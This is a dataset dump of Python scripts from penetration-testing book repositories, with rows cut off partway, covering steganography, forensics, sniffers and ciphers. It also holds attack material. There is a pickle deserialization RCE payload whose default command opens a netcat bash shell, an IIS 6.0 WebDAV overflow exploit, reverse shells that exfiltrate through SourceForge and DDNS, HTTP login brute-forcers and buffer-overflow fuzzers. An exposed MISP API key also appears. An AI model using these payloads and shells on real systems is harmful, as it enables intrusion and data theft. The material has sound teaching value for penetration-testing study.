repo_name stringclasses 29
values | text stringlengths 18 367k | avg_line_length float64 5.6 132 | max_line_length int64 11 3.7k | alphnanum_fraction float64 0.28 0.94 |
|---|---|---|---|---|
Python-Penetration-Testing-Cookbook | # -*- coding: utf-8 -*-
# Scrapy settings for books project
#
# For simplicity, this file contains only settings considered important or
# commonly used. You can find more settings consulting the documentation:
#
# http://doc.scrapy.org/en/latest/topics/settings.html
# http://scrapy.readthedocs.org/en/latest/t... | 33.274725 | 109 | 0.764272 |
cybersecurity-penetration-testing | #!/usr/bin/env python
from optparse import OptionParser
from PIL import Image
def HideMessage(carrier, message, outfile):
cImage = Image.open(carrier)
hide = Image.open(message)
hide = hide.resize(cImage.size)
hide = hide.convert('1')
out = Image.new(cImage.mode, cImage.size)
width, height = c... | 32.506173 | 115 | 0.579064 |
cybersecurity-penetration-testing | '''
MP3-ID3Forensics
Python Script (written completely in Python)
For the extraction of meta data and
potential evidence hidden in MP3 files
specifically in the ID3 Headers
Author C. Hosmer
Python Forensics
Copyright (c) 2015-2016 Chet Hosmer / Python Forensics, Inc.
Permission is hereby granted, free of c... | 34.978287 | 176 | 0.450796 |
Python-Penetration-Testing-for-Developers | import socket
import struct
from datetime import datetime
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
dict = {}
file_txt = open("dos.txt",'a')
file_txt.writelines("**********")
t1= str(datetime.now())
file_txt.writelines(t1)
file_txt.writelines("**********")
file_txt.writelines("\n")
print "Detection Start ... | 18.65 | 55 | 0.633121 |
Python-Penetration-Testing-for-Developers | import socket
import sys, os, signal
sniff = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, 3)
sniff.bind(("mon0", 0x0003))
ap_list =[]
while True :
fm1 = sniff.recvfrom(6000)
fm= fm1[0]
if fm[26] == "\x80" :
if fm[36:42] not in ap_list:
ap_list.append(fm[36:42])
a = ord(fm[63])
print "SSID -> ",fm[64:... | 23.058824 | 60 | 0.590686 |
PenTesting | '''
Description:Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in J... | 131.956522 | 2,183 | 0.77547 |
cybersecurity-penetration-testing | #Linear Conruential Generator reverse from known mod, multiplier and increment + final 2 chars of each random value
#Replace hardcode numbers with known numbers
print "Starting attempt to brute"
for i in range(100000, 99999999):
a = str((1664525 * int(str(i)+'00') + 1013904223) % 2**31)
if a[-2:] == "47":
b = str... | 38.060606 | 115 | 0.51087 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/env python
# -*- coding: utf-8 -*-
misp_url = 'http://127.0.0.1/'
misp_key = '0O4Nt6Cjgk9nkPdVennsA6axsYIgdRvf2FQYY5lx'
misp_verifycert = False
| 21.428571 | 53 | 0.692308 |
Python-Penetration-Testing-for-Developers | print"<MaltegoMessage>"
print"<MaltegoTransformResponseMessage>"
print" <Entities>"
def maltego(entity, value, addvalues):
print" <Entity Type=\"maltego."+entity+"\">"
print" <Value>"+value+"</Value>"
print" <AdditionalFields>"
for value, item in addvalues.iteritems():
print" <Field Name=\""+value+"\" Di... | 24.347826 | 104 | 0.671821 |
owtf | """
tests.functional.plugins.web.active.test_web_active
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliWebPluginTestCase
class OWTFCliWebActivePluginTest(OWTFCliWebPluginTestCase):
categories = ["plugins", "web", "active"]
def test_web_active_wvs_001(self):
... | 33.174419 | 86 | 0.517699 |
cybersecurity-penetration-testing | import urllib2
import json
GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read()
json_response = json.loads(api_response)
for result in json_response['items']:
name =... | 30 | 120 | 0.658586 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import os
import sys
import base64
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 e... | 22 | 64 | 0.711618 |
Python-for-Offensive-PenTest | '''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read SourceForge terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# Source Forge Docs
# http://sourceforge.net/p/forge/documentation/File%20Management/
# https://sou... | 30.095238 | 153 | 0.743105 |
cybersecurity-penetration-testing | #!/usr/bin/python
# -*- coding: utf-8 -*-
from anonBrowser import *
from BeautifulSoup import BeautifulSoup
import os
import optparse
def mirrorImages(url, dir):
ab = anonBrowser()
ab.anonymize()
html = ab.open(url)
soup = BeautifulSoup(html)
image_tags = soup.findAll('img')
for image in ima... | 22.034483 | 58 | 0.561798 |
cybersecurity-penetration-testing | # Vigenere Cipher (Polyalphabetic Substitution Cipher)
# http://inventwithpython.com/hacking (BSD Licensed)
import pyperclip
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
def main():
# This text can be copy/pasted from http://invpy.com/vigenereCipher.py
myMessage = """Alan Mathison Turing was a British mat... | 60.695652 | 2,051 | 0.709821 |
owtf | """
Plugin for probing ftp
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " FTP Probing "
def run(PluginInfo):
resource = get_resources("BruteFtpProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, []... | 22.071429 | 88 | 0.745342 |
cybersecurity-penetration-testing | import requests
from requests.auth import HTTPBasicAuth
with open('passwords.txt') as passwords:
for pass in passwords.readlines():
r = requests.get('http://packtpub.com/login', auth=HTTPBasicAuth('user', pass, allow_redirects=False)
if r.status_code == 301 and 'login' not in r.headers['location']:... | 42.666667 | 109 | 0.67602 |
Python-Penetration-Testing-Cookbook | from urllib.request import urlopen
from xml.etree.ElementTree import parse
url = urlopen('http://feeds.feedburner.com/TechCrunch/Google')
xmldoc = parse(url)
xmldoc.write('output.xml')
for item in xmldoc.iterfind('channel/item'):
title = item.findtext('title')
desc = item.findtext('description')
date = ite... | 24.833333 | 62 | 0.676724 |
hackipy | #!/usr/bin/python3
try:
print("[>] Importing modules")
import scapy.all as scapy
import scapy.layers.http as http
import argparse
except ModuleNotFoundError:
print("[!] Missing required modules, Exiting...")
exit()
else:
print("[>] Modules successfully imported")
print() # Just a line b... | 30.853659 | 121 | 0.630863 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalAdminInterfaces")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.909091 | 75 | 0.782334 |
Python-Penetration-Testing-for-Developers | from scapy.all import *
ip1 = IP(src="192.168.0.10", dst ="192.168.0.11" )
tcp1 = TCP(sport =1024, dport=80, flags="S", seq=12345)
packet = ip1/tcp1
p =sr1(packet, inter=1)
p.show()
rs1 = TCP(sport =1024, dport=80, flags="R", seq=12347)
packet1=ip1/rs1
p1 = sr1(packet1)
p1.show
| 20.692308 | 55 | 0.658363 |
cybersecurity-penetration-testing | import mechanize, cookielib, random
class anonBrowser(mechanize.Browser):
def __init__(self, proxies = [], user_agents = []):
mechanize.Browser.__init__(self)
self.set_handle_robots(False)
self.proxies = proxies
self.user_agents = user_agents + ['Mozilla/4.0 ',\
'FireFox/6... | 30.105263 | 61 | 0.57155 |
owtf | """
GREP Plugin for CORS
NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log
"""
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Searches transaction DB for Cross Origin Resource Sharing headers"
def run(PluginInfo):
title = "This plugin looks for HTML 5 Cross ... | 34.333333 | 92 | 0.759055 |
cybersecurity-penetration-testing | def addNumbers(a, b):
return a + b
spam = addNumbers(2, 40)
print(spam) | 15.2 | 25 | 0.6125 |
owtf | """
owtf.shell.base
~~~~~~~~~~~~~~~
The shell module allows running arbitrary shell commands and is critical to the framework
in order to run third party tools
"""
import logging
import os
import signal
import subprocess
from collections import defaultdict
from sqlalchemy.exc import SQLAlchemyError
from owtf.managers... | 33.909091 | 131 | 0.572529 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de)
# Copyright (C) 2015 Daniel Arp (darp@gwdg.de)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, eith... | 36.797297 | 140 | 0.533655 |
cybersecurity-penetration-testing | import argparse
import csv
import json
import logging
import sys
import os
import urllib2
import unix_converter as unix
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20150920'
__version__ = 0.03
__description__ = 'This scripts downloads address transactions using blockchain.info public APIs'
def main(addr... | 35.391813 | 107 | 0.641434 |
owtf | """
This plugin does not perform ANY test: The aim is to visit all URLs grabbed so far and build
the transaction log to feed data to other plugins
NOTE: This is an active plugin because it may visit URLs retrieved by vulnerability scanner spiders
which may be considered sensitive or include vulnerability probing
"""
im... | 37.130435 | 99 | 0.762557 |
cybersecurity-penetration-testing | #!/usr/bin/python3
import pefile
import string
import os, sys
def tamperUpx(outfile):
pe = pefile.PE(outfile)
newSectionNames = (
'.text',
'.data',
'.rdata',
'.idata',
'.pdata',
)
num = 0
sectnum = 0
section_table_offset = (pe.DOS_HEADER.e_lfanew + 4... | 33.986577 | 118 | 0.538949 |
owtf | """
owtf.api.routes
~~~~~~~~~~~~~~~
"""
import tornado.web
from owtf.api.handlers.config import ConfigurationHandler
from owtf.api.handlers.health import HealthCheckHandler
from owtf.api.handlers.index import IndexHandler
from owtf.api.handlers.misc import ErrorDataHandler, DashboardPanelHandler, ProgressBarHandler
f... | 48.633929 | 120 | 0.691796 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Christian Hilgers, Holger Macht, Tilo Müller, Michael Spreitzenbarth
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, o... | 50.131868 | 132 | 0.569218 |
Python-Penetration-Testing-Cookbook | import socket
import struct
import textwrap
def get_mac_addr(mac_raw):
byte_str = map('{:02x}'.format, mac_raw)
mac_addr = ':'.join(byte_str).upper()
return mac_addr
def format_multi_line(prefix, string, size=80):
size -= len(prefix)
if isinstance(string, bytes):
string = ''.join(r'\x{:02... | 35.413043 | 122 | 0.5 |
cybersecurity-penetration-testing | '''
Copyright (c) 2016 Python Forensics and Chet Hosmer
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, me... | 37.24055 | 234 | 0.439676 |
PenTesting | from hashlib import sha1
import struct
def hash(word, salt):
return {"*%s"%_scramble(word,salt):word}
def _scramble(password, salt):
stage1 = sha1(password).digest()
stage2 = sha1(stage1).digest()
s = sha1()
s.update(salt)
s.update(stage2)
result = s.digest()
return _my_crypt(result, s... | 23.96 | 55 | 0.603531 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import os
import sys
import socket
ipAddr="192.168.1.104"
ipPort=9999
def start_me():
try:
global ipAddr
global ipPort
command="GMON ./:/"
command=command + "A" * 1000
command=command + "B" * 1000
command=command + "C" * 1000
command=command + "D" * 1000
command=command + "E" * 100... | 20.076923 | 55 | 0.649208 |
Penetration-Testing-Study-Notes | #!/usr/bin/python
###################################################
#
# CredCheck - written by Justin Ohneiser
# ------------------------------------------------
# Inspired by reconscan.py by Mike Czumak
#
# This program will check a set of credentials
# against a set of IP addresses looking for
# valid remote log... | 32.545652 | 147 | 0.52897 |
Tricks-Web-Penetration-Tester | import urllib.parse
payload = input("insert payload:\n")
cmd=payload+"\r\nquit\r\n\r\n"
print("gopher://localhost:1211/_",end="")
print(urllib.parse.quote(urllib.parse.quote(cmd))) | 30.166667 | 50 | 0.698925 |
cybersecurity-penetration-testing | import os
import sys
import argparse
import logging
import jinja2
import pypff
import unicodecsv as csv
from collections import Counter
__author__ = 'Preston Miller & Chapin Bryce'
__date__ = '20160401'
__version__ = 0.01
__description__ = 'This scripts handles processing and output of PST Email Containers'
output_... | 33.761905 | 107 | 0.64011 |
Hands-On-Penetration-Testing-with-Python | #! /usr/bin/python3.5
def child_method():
print("This is child method()")
| 8.222222 | 32 | 0.609756 |
PenTestScripts | #!/usr/bin/python
# Quick script that attempts to find the reverse DNS info
# from a provided IP range.
import argparse
import os
import socket
import sys
from netaddr import IPNetwork
def cli_parser():
# Command line argument parser
parser = argparse.ArgumentParser(
add_help=False,
descrip... | 25.981308 | 85 | 0.572765 |
Hands-On-Penetration-Testing-with-Python | import requests
class Detect_CJ():
def __init__(self,target):
self.target=target
def start(self):
try:
resp=requests.get(self.target)
headers=resp.headers
print ("\n\nHeaders set are : \n" )
for k,v in headers.iteritems():
print(k+":"+v)
if "X-Frame-Options" in headers.keys():
print("\n\... | 18.814815 | 46 | 0.642322 |
cybersecurity-penetration-testing | import socket
def get_protnumber(prefix):
return dict( (getattr(socket, a), a)
for a in dir(socket)
if a.startswith(prefix))
proto_fam = get_protnumber('AF_')
types = get_protnumber('SOCK_')
protocols = get_protnumber('IPPROTO_')
for res in socket.getaddrinfo('www.thapar.edu', 'http'):
family, socktype, proto... | 26.7 | 56 | 0.676311 |
cybersecurity-penetration-testing | import threading
import time
import socket, subprocess,sys
import thread
import collections
from datetime import datetime
'''section 1'''
net = raw_input("Enter the Network Address ")
st1 = int(raw_input("Enter the starting Number "))
en1 = int(raw_input("Enter the last Number "))
en1=en1+1
#dic = collections.Ordered... | 21.014085 | 60 | 0.671575 |
cybersecurity-penetration-testing | print"<MaltegoMessage>"
print"<MaltegoTransformResponseMessage>"
print" <Entities>"
def maltego(entity, value, addvalues):
print" <Entity Type=\"maltego."+entity+"\">"
print" <Value>"+value+"</Value>"
print" <AdditionalFields>"
for value, item in addvalues.iteritems():
print" <Field Name=\""+value+"\" Di... | 24.347826 | 104 | 0.671821 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Cookie Attributes Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalCookiesAttributes")
Content = plugin_helper.resource_linklist(
"Online Hash Cracking R... | 27.153846 | 65 | 0.761644 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'Project.addParameter_field'
db.add_column(u'xt... | 64.008621 | 130 | 0.541512 |
owtf | """
owtf.core
~~~~~~~~~
This is the command-line front-end in charge of processing arguments and call the framework.
"""
from __future__ import print_function
from copy import deepcopy
import logging
import os
import signal
import sys
from tornado.ioloop import IOLoop, PeriodicCallback
from owtf import __version__
... | 33.255556 | 98 | 0.589166 |
cybersecurity-penetration-testing | #!/usr/bin/python3
import sys
import os
import glob
def main(argv):
if len(argv) == 1:
print('Usage: ./script <ext>')
return False
ext = argv[1]
system32 = set()
syswow64 = set()
p1 = os.path.join(os.environ['Windir'], 'System32' + os.sep + '*.' + ext)
p2 = os.path.join(os.env... | 26.25 | 77 | 0.585714 |
PenTestScripts | #!/usr/bin/env python
import httplib2
from BeautifulSoup import BeautifulSoup, SoupStrainer
http = httplib2.Http()
status, response = http.request('http://www.christophertruncer.com')
for link in BeautifulSoup(response, parseOnlyThese=SoupStrainer('a')):
if link.has_key('href'):
print link['href']
| 25.25 | 70 | 0.738854 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Chris Duffy
Date: May 2015
Purpose: An script that can process and parse NMAP XMLs
Returnable Data: A dictionary of hosts{iterated number} = [[hostnames], address, protocol, port, service name]
Name: nmap_parser.py
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribu... | 44.607759 | 197 | 0.583743 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-07 22:29
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('nmaper', '0001_initial'),
]
operations = [
migrations.AddField(
... | 22.181818 | 81 | 0.59725 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Christian Hilgers, Holger Macht, Tilo Müller, Michael Spreitzenbarth
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, o... | 51.941667 | 125 | 0.508974 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfoz):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.888889 | 85 | 0.766816 |
cybersecurity-penetration-testing | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2, 2015
Purpose: To grab your current Public IP (Eth & WLAN), Private IP, MAC Addresses, FQDN, and Hostname
Name: hostDetails.py
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or wit... | 37.5 | 155 | 0.672233 |
SNAP_R | # THIS PROGRAM IS TO BE USED FOR EDUCATIONAL PURPOSES ONLY.
# CAN BE USED FOR INTERNAL PEN-TESTING, STAFF RECRUITMENT, SOCIAL ENGAGEMENT
import credentials
import argparse
import tweepy
# Posts a new status
def post_status(text):
auth = tweepy.OAuthHandler(credentials.consumer_key,
... | 36.666667 | 76 | 0.612403 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
cybersecurity-penetration-testing | # Makes the wordPatterns.py File
# http://inventwithpython.com/hacking (BSD Licensed)
# Creates wordPatterns.py based on the words in our dictionary
# text file, dictionary.txt. (Download this file from
# http://invpy.com/dictionary.txt)
import pprint
def getWordPattern(word):
# Returns a string of t... | 26.096154 | 71 | 0.606534 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Currently implemented attacks:
# - sniffer - (NOT YET IMPLEMENTED) Sniffer hunting for authentication strings
# - ripv1-route - Spoofed RIPv1 Route Announcements
# - ripv1-dos - RIPv1 Denial of Service via Null-Routing
# - ripv1-ampl - RIPv1 Reflection Amplification DDoS
# - ripv... | 31.831266 | 204 | 0.528174 |
owtf | """
GREP Plugin for Credentials transport over an encrypted channel (OWASP-AT-001)
https://www.owasp.org/index.php/Testing_for_credentials_transport_%28OWASP-AT-001%29
NOTE: GREP plugins do NOT send traffic to the target and only grep the HTTP Transaction Log
"""
import logging
DESCRIPTION = "Searches transaction DB f... | 54.484848 | 185 | 0.713115 |
Python-Penetration-Testing-Cookbook | from scrapy.item import Item, Field
class BookItem(Item):
title = Field()
price = Field()
| 13.428571 | 35 | 0.66 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Effective-Python-Penetration-Testing | import pyxhook
file_log=/home/rejah/Desktop/file.log'
def OnKeyboardEvent(event):
k = event.Key
if k == "space": k = " "
with open(file_log, 'a+') as keylogging:
keylogging.write('%s\n' % k)
#instantiate HookManager class
hooks_manager = pyxhook.HookManager()
#listen to all keystrokes
hooks_ma... | 19.761905 | 43 | 0.708046 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Hybrid - Client - TC... | 36.796992 | 127 | 0.813569 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
LPORT1433 = ""
LPORT1433 += "\x9b\x98\x40\x48\x4b\x98\xd6\x41\x41\x42\xda\xd8"
LPORT1433 += "\xd9\x74\x24\xf4\xbd\x24\x8b\x25\x21\x58\x29\xc9"
LPORT1433 += "\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\x4c\x98\xc7"
LPORT1433 += "\xd4\x70\x76\x85\x17\x88\x87\xea\... | 40.903226 | 78 | 0.680786 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Michael Spreitzenbarth (research@spreitzenbarth.de)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your opti... | 60.073529 | 1,658 | 0.734586 |
cybersecurity-penetration-testing | import requests
import time
def check_httponly(c):
if 'httponly' in c._rest.keys():
return True
else:
return '\x1b[31mFalse\x1b[39;49m'
#req = requests.get('http://www.realvnc.com/support')
values = []
for i in xrange(0,5):
req = requests.get('http://www.google.com')
for cookie in req.cookies:
print 'Name:'... | 22.869565 | 53 | 0.689781 |
PenTestScripts | #!/usr/bin/env python
# This script enumerates information from the local system
import ctypes
import os
import socket
import string
import subprocess
import urllib2
# URL - You obviously need to edit this, just the IP/domain
url = "https://192.168.1.1/post_enum_data.php"
# Enumerate IP addresses and hostname
host,... | 27.666667 | 186 | 0.712526 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_proje... | 63.71028 | 130 | 0.570521 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
import sys
import urllib
import cStringIO
from optparse import OptionParser
from PIL import Image
from itertools import izip
def get_pixel_pairs(iterable):
a = iter(iterable)
return izip(a, a)
def set_LSB(value, bit):
if bit == '0':
value = value & 254
else:
val... | 28.189781 | 119 | 0.573037 |
owtf | """
Plugin for probing vnc
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = " VNC Probing "
def run(PluginInfo):
resource = get_resources("VncProbeMethods")
return plugin_helper.CommandDump("Test Command", "Output", resource, PluginInfo, [])
| 23.384615 | 88 | 0.743671 |
Python-Penetration-Testing-Cookbook | from scapy.all import *
from pprint import pprint
ethernet = Ether()
network = IP(dst = '192.168.1.1')
transport = ICMP()
packet = ethernet/network/transport
sendp(packet, iface="en0")
| 19.777778 | 35 | 0.725806 |
PenTestScripts | #!/usr/bin/env python3
import base64
# Edit this line with the path to the binary file containing shellcode you are converting
with open('/home/user/Downloads/payload.bin', 'rb') as sc_handle:
sc_data = sc_handle.read()
# Just raw binary blog base64 encoded
encoded_raw = base64.b64encode(sc_data)
# Print in "sta... | 36.282051 | 89 | 0.671025 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/python
import hashlib
target = raw_input("Please enter your hash here: ")
dictionary = raw_input("Please enter the file name of your dictionary: ")
def main():
with open(dictionary) as fileobj:
for line in fileobj:
line = line.strip()
if hashlib.md5(line).hexdigest() ==... | 26.578947 | 90 | 0.592734 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalSSL")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 26.818182 | 75 | 0.77377 |
Tricks-Web-Penetration-Tester | import requests, argparse, sys, threading, time
from argparse import RawTextHelpFormatter
def msg():
banner ="""
___. __ .___ .__
\_ |_________ __ ___/ |_ ____ __| _/____ | | _____ ___.__.
| __ \_ __ \ | \ __\/ __ \ / __ |/ __ \| | \__ \< | |
... | 48.25 | 170 | 0.512443 |
cybersecurity-penetration-testing | import urllib2
GOOGLE_API_KEY = "{Insert your Google API key}"
target = "packtpub.com"
api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people?query="+target+"&key="+GOOGLE_API_KEY).read()
api_response = api_response.split("\n")
for line in api_response:
if "displayName" in line:
print l... | 35 | 119 | 0.705882 |
cybersecurity-penetration-testing | #!/usr/bin/python
string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfT... | 61.857143 | 529 | 0.764973 |
owtf | from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
Content = plugin_helper.HtmlString("Intended to show helpful info in the future")
return Content
| 23.777778 | 85 | 0.765766 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Server- TCP Re... | 18.893333 | 72 | 0.549296 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalWebAppFingerprint")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 28.090909 | 75 | 0.783699 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_proje... | 62.35 | 130 | 0.571789 |
Python-Penetration-Testing-for-Developers | #!/usr/bin/env python
'''
Author: Christopher Duffy
Date: February 2015
Name: ssh_login.py
Purpose: To scan a network for a ssh port and automatically generate a resource file for Metasploit.
Copyright (c) 2015, Christopher Duffy All rights reserved.
Redistribution and use in source and binary forms, with or without ... | 39.822695 | 239 | 0.646568 |
owtf | """
owtf.db.session
~~~~~~~~~~~~~~~
This file handles all the database transactions.
"""
import functools
import sys
import logging
from sqlalchemy import create_engine, exc, func
from sqlalchemy.orm import Session as _Session
from sqlalchemy.orm import sessionmaker
from sqlalchemy.pool import NullPool
from owtf.db.... | 25.923077 | 97 | 0.650786 |
Python-for-Offensive-PenTest | '''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read no-ip.com terms and conditions carefully.
Use it on your own risk.
'''
# Python For Offensive PenTest
# DDNS Aware Shell
import socket
import subprocess
import os
def transfer(s,path):
if os.path... | 23.239437 | 133 | 0.573837 |
PenetrationTestingScripts | #coding=utf-8
import time
import threading
from threading import Thread
from printers import printPink,printGreen
from Queue import Queue
import redis
class redis_burp(object):
def __init__(self,c):
self.config=c
self.lock=threading.Lock()
self.result=[]
#self.lines=self.config... | 28.925373 | 105 | 0.541916 |
owtf | """
owtf.utils.strings
~~~~~~~~~~~~~~~~~~
"""
import base64
import binascii
import logging
import os
import re
from collections import defaultdict
import six
from owtf.settings import REPLACEMENT_DELIMITER
search_regex = re.compile("{!s}([a-zA-Z0-9-_]*?){!s}".format(REPLACEMENT_DELIMITER, REPLACEMENT_DELIMITER))
d... | 23.125828 | 119 | 0.607275 |
PenetrationTestingScripts | """Stateful programmatic WWW navigation, after Perl's WWW::Mechanize.
Copyright 2003-2006 John J. Lee <jjl@pobox.com>
Copyright 2003 Andy Lester (original Perl code)
This code is free software; you can redistribute it and/or modify it
under the terms of the BSD or ZPL 2.1 licenses (see the file COPYING.txt
included w... | 36.189552 | 82 | 0.60419 |
owtf | from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "Plugin to assist manual testing"
def run(PluginInfo):
resource = get_resources("ExternalErrorCodes")
Content = plugin_helper.resource_linklist("Online Resources", resource)
return Content
| 27.454545 | 75 | 0.778846 |
owtf | """
PASSIVE Plugin for Testing for Open Amazon S3 Buckets(OWASP-CL-001)
"""
from owtf.managers.resource import get_resources
from owtf.plugin.helper import plugin_helper
DESCRIPTION = "GrayhatWarfare for Public S3 Buckets"
def run(PluginInfo):
resource = get_resources("PassiveOpenS3Buckets")
# Grayhat Warfa... | 27.130435 | 76 | 0.727554 |
owtf | """
tests.functional.cli.test_only
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
from tests.owtftest import OWTFCliTestCase
class OWTFCliOnlyPluginsTest(OWTFCliTestCase):
categories = ["cli", "fast"]
def test_only_one_plugin(self):
"""Run OWTF with only one plugin."""
self.run_owtf(
"-s",
... | 33 | 86 | 0.51982 |
PenetrationTestingScripts | # -*- coding: utf-8 -*-
# Generated by Django 1.9.1 on 2016-01-07 22:23
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='NmapSca... | 28.074074 | 114 | 0.577806 |
Penetration-Testing-with-Shellcode | #!/usr/bin/python
import socket
junk = 'A'*780
eip = 'B'*4
pad = 'C'*(1000-780-4)
injection = junk + eip + pad
payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
